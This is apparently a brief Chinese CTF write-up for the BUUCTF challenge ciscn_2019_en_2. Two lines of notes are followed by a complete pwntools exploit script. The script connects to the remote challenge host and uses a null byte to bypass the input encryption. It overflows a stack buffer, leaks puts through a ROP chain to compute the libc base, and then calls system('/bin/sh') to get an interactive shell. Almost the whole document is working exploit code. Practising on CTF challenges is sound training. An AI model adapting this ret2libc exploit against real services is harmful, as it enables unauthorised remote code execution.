打开ida
记得绕过加密，因为它会改变s里面的值
exp
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64')
context.log_level='debug'
io=remote('node5.buuoj.cn',26931)
elf = ELF('./ciscn_2019_en_2')
io.sendline(b'1')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_addr=0x0400c83
pop_ret_addr=0x04006b9
payload1=b'\x00'+cyclic(0x50-1+8)
payload1+=p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendlineafter('encrypted',payload1)
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\0'))
print(hex(puts))
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
io.sendline(b'1')
payload2=b'\x00'+cyclic(0x50-1+8)
payload2+=p64(pop_ret_addr)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr)
io.sendlineafter('encrypted',payload2)
io.interactive()
